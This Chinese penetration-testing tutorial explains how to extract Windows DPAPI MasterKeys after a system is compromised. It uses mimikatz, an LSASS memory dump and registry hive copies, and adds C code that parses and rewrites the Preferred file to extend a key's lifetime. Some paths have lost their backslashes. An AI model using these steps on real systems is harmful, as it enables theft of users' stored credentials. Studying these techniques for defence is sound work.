標籤:

滲透技巧——獲取Windows系統下DPAPI中的MasterKey

0x00前言

對於Windows系統,用戶的加密數據大都採用DPAPI進行存儲,而想要解密這些數據解,必須要獲得DPAPI對應的MasterKey。本文將會介紹在獲得了Windows系統的許可權後獲得MasterKey的方法,同時分析Preferred文件格式,延長MasterKey的有效期

0x01 簡介

本文將要介紹以下內容

基本概念

·獲得MasterKey的方法

·解析Preferred文件

·修改MasterKey失效時間

0x02 基本概念

DPAPI:

全稱Data Protection Application Programming Interface

作為Windows系統的一個數據保護介面被廣泛使用

主要用於保護加密的數據,常見的應用如:

·EFS文件加密

·存儲無線連接密碼

·Windows Credential Manager

·Internet Explorer

·Outlook

·Skype

·Windows CardSpace

·Windows Vault

·Google Chrome

Master Key:

64位元組,用於解密DPAPI blob,使用用戶登錄密碼、SID和16位元組隨機數加密後保存在Master Key file中

Master Key file:

二進位文件,可使用用戶登錄密碼對其解密,獲得Master Key

分為兩種:

·用戶Master Key file,位於%APPDATA%MicrosoftProtect\%SID%

·系統Master Key file,位於%WINDIR%System32MicrosoftProtectS-1-5-18User

Preferred文件:

位於Master Key file的同級目錄,顯示當前系統正在使用的MasterKey及其過期時間,默認90天有效期

0x03 獲得MasterKey的方法

本節主要介紹通過mimikatz獲得MasterKey的方法

1、在線獲取

通過讀取Lsass進程信息,獲取當前系統中的MasterKey,能獲得多個Master Key file對應的MasterKey

管理員許可權:

privilege::debugsekurlsa::dpapi

如下圖

2、離線讀取

思路一:

使用procdump dump出LSASS進程內存

管理員許可權:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用mimikatz載入dmp文件並獲取各個Master Key file對應的MasterKey:

sekurlsa::minidump lsass.dmpsekurlsa::dpapi

思路二:

參考資料:

github.com/gentilkiwi/m

1、複製註冊表文件

管理員許可權:

reg save HKLMSYSTEM SystemBkup.hivreg save HKLMSECURITY SECURITY.hiv

2、從註冊表文件中獲得DPAPI_SYSTEM

mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"

如下圖

DPAPI_SYSTEM中的user hash為c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3,能夠用來解密位於%WINDIR%System32MicrosoftProtectS-1-5-18User下的系統Master Key file

3、解密系統Master Key file,獲得MasterKey

mimikatz "dpapi::masterkey /in:C:WindowsSystem32MicrosoftProtectS-1-5-18User4ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"

解密獲得MasterKey為3e9d7f32f2e57933ead318d075efc82325697d87d992b626a20abb5f0ffba6f073d282a837b6fa058ecff36039aa944e04b3dfb666ebace44aad6bff8789ca43

如下圖

0x04 解析Preferred文件

位於Master Key file的同級目錄,顯示當前系統正在使用的MasterKey file及其過期時間

格式如下:

typedef struct _tagPreferredMasterKey{ GUID guidMasterKey; FILETIME ftCreated;} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;

例如C:UsersAppDataRoamingMicrosoftProtectS-1-5-21-2884853959-2080156797-250722187-1002Preferred

如下圖

前16位元組F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58對應guid,調整格式後,對應文件為a111b0f6-b4d7-40c8-b536-672a8288b958

後8位元組D0 08 9F 7D 11 EC D3 01對應過期時間

對於表示時間的FILETIME,格式如下:

typedef struct _FILETIME { DWORD dwLowDateTime; DWORD dwHighDateTime; } FILETIME, *PFILETIME;

想要顯示成日常使用的時間格式,需要將FILETIME類型轉成SYSTEMTIME類型

在程序實現上,還需要注意使用sscanf_s函數將字元串轉換為DWORD格式

可供參考的C代碼如下:

#include <windows.h>int main(void) { FILE *fp; unsigned char buf[24]; fopen_s(&fp,"Preferred","rb"); fread(buf,1,24,fp); printf("Data: "); for(int i=0;i<24;i++) { printf("%02x",buf[i]); } fclose(fp); printf("
guidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x
",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]); char lowDateTime[9],highDateTime[9]; sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]); sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]); printf("dwLowDateTime:%s
",lowDateTime); printf("dwHighDateTime:%s
",highDateTime); FILETIME ftUTC; SYSTEMTIME stUTC2; sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime); sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime); FileTimeToSystemTime(&ftUTC, &stUTC2); printf(""); printf("Expiry time: %d-%d-%d %d:%d:%d
", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond); return 0; }

註:

也可以使用fread讀取int型數據來解決字元串倒序的問題

讀取Preferred文件,解析出當前系統正在使用的Master Key file的guid和過期時間

測試如下圖

0x05 修改MasterKey失效時間

修改思路:

輸入過期時間,將過期時間轉為FILETIME格式,替換Preferred文件的FILETIME

可供參考的c代碼如下:

#include <windows.h> int main(void) { SYSTEMTIME st={0}; FILETIME ft={0}; printf("[+]Start to change expiry time...
"); st.wYear = 2019; st.wMonth = 12; st.wDay = 30; st.wHour = 12; st.wMinute = 30; st.wSecond = 30; printf("[+]New expiry time:%d-%d-%d %d:%d:%d
", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); SystemTimeToFileTime(&st,&ft); printf("dwLowDateTime:%08x
",ft.dwLowDateTime); printf("dwHighDateTime:%08x
",ft.dwHighDateTime); FILE *fp; fopen_s(&fp,"Preferred","rb+"); fseek(fp,16,SEEK_SET); fwrite(&ft.dwLowDateTime,sizeof(int),1,fp); fwrite(&ft.dwHighDateTime,sizeof(int),1,fp); fclose(fp); printf("[+]Change success.
"); return 0; }

讀取Preferred文件,將過期時間設置為2019-12-30 12:30:30

修改後重新讀取Preferred文件信息,成功修改,如下圖

0x06 小結

本文總結了在獲得了Windows系統的許可權後獲得MasterKey的方法,編寫程序自動分析Preferred文件格式並延長MasterKey的有效期

本文為 3gstudent 原創稿件, 授權嘶吼獨家發布,如若轉載,請聯繫嘶吼編輯: 4hou.com/technology/104 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

維基解密網站被黑,是報復還是炫耀?
你的深度學習應用可能存在安全風險
小白學習環境的構架基礎
滲透測試中的certutil

TAG:信息安全 |